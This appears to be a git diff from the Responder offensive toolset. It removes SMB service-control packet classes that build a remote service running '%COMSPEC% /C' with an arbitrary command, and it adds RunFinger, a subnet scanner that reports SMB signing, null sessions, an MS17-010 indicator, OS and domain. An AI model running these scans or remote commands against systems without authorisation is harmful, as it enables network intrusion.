-        ("DisplayNameIDNull",    "\x00\x00\x00\x00"),
-        ("AccessMask",           "\xff\x01\x0f\x00"),
-        ("ServerType",           "\x10\x01\x00\x00"),
-        ("ServiceStartType",     "\x03\x00\x00\x00"),
-        ("ServiceErrorCtl",      "\x00\x00\x00\x00"),
-        ("BinPathMaxCount",      "\xb6\x00\x00\x00"),
-        ("BinPathOffset",        "\x00\x00\x00\x00"),
-        ("BinPathActualCount",   "\xb6\x00\x00\x00"),
-        ("BinPathName",          "%COMSPEC% /C \""),
-        ("BinCMD",               ""),
-        ("BintoEnd",             "\""),
-        ("BinPathNameNull",      "\x00\x00"),
-        ("Nullz",                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
-
-        ## Calculate first
-        self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
-        self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
-        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
-        self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
-        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
-        self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
-        self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
-        self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
-        self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
-
-class SMBDCESVCCTLOpenService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x0c\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0c\x00\x00\x00"),
-        ("ServiceName",          ""),
-        ("MachineNameNull",      "\x00\x00"),
-        ("AccessMask",           "\xff\x01\x0f\x00"),
-    ])
-
-    def calculate(self):
-        ## Calculate first
-        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
-        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
-
-class SMBDCESVCCTLStartService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x00\x00\x00\x00\x00\x00\x00\x00"),
-    ])
-
-def ParseAnswerKey(data,host):
-    key = data[73:81]
-    print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
-    return key

tools/RunFinger.py

@@ -0,0 +1,285 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import re,sys,socket,struct
+import datetime
+import multiprocessing
+from socket import *
+from odict import OrderedDict
+import optparse
+from RunFingerPackets import *
+
+__version__ = "0.7"
+
+parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
+
+parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
+parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format")
+options, args = parser.parse_args()
+
+if options.TARGET is None:
+    print "\n-i Mandatory option is missing, please provide a target or target range.\n"
+    parser.print_help()
+    exit(-1)
+
+Timeout = 2
+Host = options.TARGET
+Grep = options.Grep
+
+class Packet():
+    fields = OrderedDict([
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+    length = struct.pack(">i", len(''.join(payload)))
+    return length
+
+def GetBootTime(data):
+    Filetime = int(struct.unpack('<q',data)[0])
+    t = divmod(Filetime - 116444736000000000, 10000000)
+    time = datetime.datetime.fromtimestamp(t[0])
+    return time, time.strftime('%Y-%m-%d %H:%M:%S')
+
+
+#####################
+
+def IsSigningEnabled(data): 
+    if data[39] == "\x0f":
+        return True
+    else:
+        return False
+
+def atod(a): 
+    return struct.unpack("!L",inet_aton(a))[0]
+
+def dtoa(d): 
+    return inet_ntoa(struct.pack("!L", d))
+
+def OsNameClientVersion(data):
+	try:
+		length = struct.unpack('<H',data[43:45])[0]
+                if length > 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
+                if length <= 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
+	except:
+	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
+def GetHostnameAndDomainName(data):
+	try:
+		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
+                Time = GetBootTime(data[60:68])
+                #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
+		if Hostname == '':
+			DomainJoined = data[81:110].replace('\x00','')
+			Hostname = data[113:].replace('\x00','')
+		return Hostname, DomainJoined, Time
+	except:
+	 	return "Could not get Hostname.", "Could not get Domain joined"
+
+def DomainGrab(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       pass
+    try:
+       h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
+       n = SMBNegoDataLanMan()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       s.close()
+       if data[8:10] == "\x72\x00":
+          return GetHostnameAndDomainName(data)
+    except:
+       pass 
+
+def SmbFinger(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       pass
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       signing = IsSigningEnabled(data)
+       if data[8:10] == "\x72\x00":
+          head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+          t = SMBSessionFingerData()
+          packet0 = str(head)+str(t)
+          buffer1 = longueur(packet0)+packet0  
+          s.send(buffer1) 
+          data = s.recv(2048)
+       if data[8:10] == "\x73\x16":
+          OsVersion, ClientVersion = OsNameClientVersion(data)
+          return signing, OsVersion, ClientVersion
+    except:
+       pass
+
+
+def SmbNullSession(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       pass 
+
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       try:
+           if data[8:10] == "\x72\x00":
+              head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x53\xc8")
+              t = SMBSessionData()
+              t.calculate()
+              final = t 
+              packet1 = str(head)+str(final)
+              buffer1 = longueur(packet1)+packet1
+              s.send(buffer1)
+              data = s.recv(2048)
+
+           if data[8:10] == "\x73\x16":
+              head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34],mid="\x80\x00")
+              t = SMBSession2()
+              t.calculate()
+              final = t 
+              packet1 = str(head)+str(final)
+              buffer1 = longueur(packet1)+packet1
+              s.send(buffer1)
+              data = s.recv(2048)
+
+           if data[8:10] == "\x73\x00":
+              head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],mid="\xc0\x00")
+              t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
+              t.calculate()
+              packet1 = str(head)+str(t)
+              buffer1 = longueur(packet1)+packet1  
+              s.send(buffer1)
+              data = s.recv(2048)
+
+           if data[8:10] == "\x75\x00":
+              global Guest
+              Guest = True
+              head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
+              t = SMBTransRAPData()
+              t.calculate()
+              packet1 = str(head)+str(t)
+              buffer1 = longueur(packet1)+packet1  
+              s.send(buffer1)
+              data = s.recv(2048)
+              if data[9:13] == "\x05\x02\x00\xc0":
+                 return Guest, True
+              else:
+                 return Guest, False
+           else:
+              return False, False
+       except Exception:
+           pass
+
+    except:
+       pass
+
+##################
+#run it
+def ShowResults(Host):
+    try:
+       Hostname, DomainJoined, Time = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       NullSess, Ms17010 = SmbNullSession(Host)
+       print "Retrieving information for %s..."%Host[0]
+       print "SMB signing:", Signing
+       print "Null Sessions Allowed:", NullSess
+       print "Vulnerable to MS10-010:", Ms17010
+       print "Server Time:", Time[1]
+       print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
+       print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
+    except:
+       pass
+
+def ShowSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined, Time = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       NullSess, Ms17010 = SmbNullSession(Host)
+       Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s', Null Session: %s, MS17-010: %s]"%(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, Ms17010)
+       print Message
+    except:
+       raise
+       pass
+
+def IsGrepable():
+    if options.Grep:
+       return True
+    else:
+       return False
+
+def RunFinger(Host):
+    m = re.search("/", str(Host))
+    if m :
+       net,_,mask = Host.partition('/')
+       mask = int(mask)
+       net = atod(net)
+       threads = []
+       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
+           if IsGrepable():
+              p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+           else:
+              p = multiprocessing.Process(target=ShowResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+    else:
+      if IsGrepable():
+          ShowSmallResults((Host,445))
+      else:
+          ShowResults((Host,445))
+
+RunFinger(Host)
+

tools/RunFingerPackets.py

@@ -0,0 +1,410 @@
+import random, struct
+from socket import *
+from time import sleep
+from odict import OrderedDict
+
+def longueur(payload):
+    length = struct.pack(">i", len(''.join(payload)))
+    return length
+
+class Packet():
+    fields = OrderedDict([
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+class SMBHeader(Packet):
+    fields = OrderedDict([
+        ("proto",      "\xff\x53\x4d\x42"),
+        ("cmd",        "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1",      "\x00"),
+        ("flag2",      "\x00\x00"),
+        ("pidhigh",    "\x00\x00"),
+        ("signature",  "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved",   "\x00\x00"),
+        ("tid",        "\x00\x00"),
+        ("pid",        "\x00\x00"),
+        ("uid",        "\x00\x00"),
+        ("mid",        "\x00\x00"),
+    ])
+
+class SMBNego(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
+
+class SMBNegoData(Packet):
+    fields = OrderedDict([
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+    ])
+
+class SMBSessionFingerData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00" ),
+        ("andxoffset", "\x00\x00"),
+        ("maxbuff","\x04\x11"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x00\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x4a\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xd4\x00\x00\xa0"),
+        ("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
+        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
+    ])
+
+##Now Lanman
+class SMBHeaderLanMan(Packet):
+    fields = OrderedDict([
+        ("proto", "\xff\x53\x4d\x42"),
+        ("cmd", "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1", "\x08"),
+        ("flag2", "\x01\xc8"),
+        ("pidhigh", "\x00\x00"),
+        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved", "\x00\x00"),
+        ("tid", "\x00\x00"),
+        ("pid", "\x3c\x1b"),
+        ("uid", "\x00\x00"),
+        ("mid", "\x00\x00"),
+    ])
+
+#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
+class SMBNegoDataLanMan(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+
+    ])
+
+class SMBSessionData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00" ),
+        ("andxoffset", "\xec\x00"),              
+        ("maxbuff","\x04\x11"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x00\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x4a\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xd4\x00\x00\xa0"),
+        ("bcc1","\xb1\x00"),
+        ("ApplicationHeaderTag","\x60"),
+        ("ApplicationHeaderLen","\x48"),
+        ("AsnSecMechType","\x06"),
+        ("AsnSecMechLen","\x06"),
+        ("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
+        ("ChoosedTag","\xa0"),
+        ("ChoosedTagStrLen","\x3e"),
+        ("NegTokenInitSeqHeadTag","\x30"),
+        ("NegTokenInitSeqHeadLen","\x3c"),
+        ("NegTokenInitSeqHeadTag1","\xA0"),
+        ("NegTokenInitSeqHeadLen1","\x0e"),
+        ("NegTokenInitSeqNLMPTag","\x30"),
+        ("NegTokenInitSeqNLMPLen","\x0c"),
+        ("NegTokenInitSeqNLMPTag1","\x06"),
+        ("NegTokenInitSeqNLMPTag1Len","\x0a"),
+        ("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
+        ("NegTokenInitSeqNLMPTag2","\xa2"),
+        ("NegTokenInitSeqNLMPTag2Len","\x2a"),
+        ("NegTokenInitSeqNLMPTag2Octet","\x04"),
+        ("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
+        ("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
+        ("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"), 
+        ("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"), 
+        ("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
+        ("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
+        ("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
+        ("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
+        ("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
+        ("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
+        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
+        ("NegTokenInitSeqMechMessageVersionLow","\x01"),
+        ("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
+        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
+        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
+        ("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
+        ("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
+        ("nativeOsterminator","\x00\x00"),
+        ("nativelan","Windows 2002 5.1".encode('utf-16le')),
+        ("nativelanterminator","\x00\x00\x00\x00"),
+
+    ])
+    def calculate(self): 
+
+        data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
+
+        data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
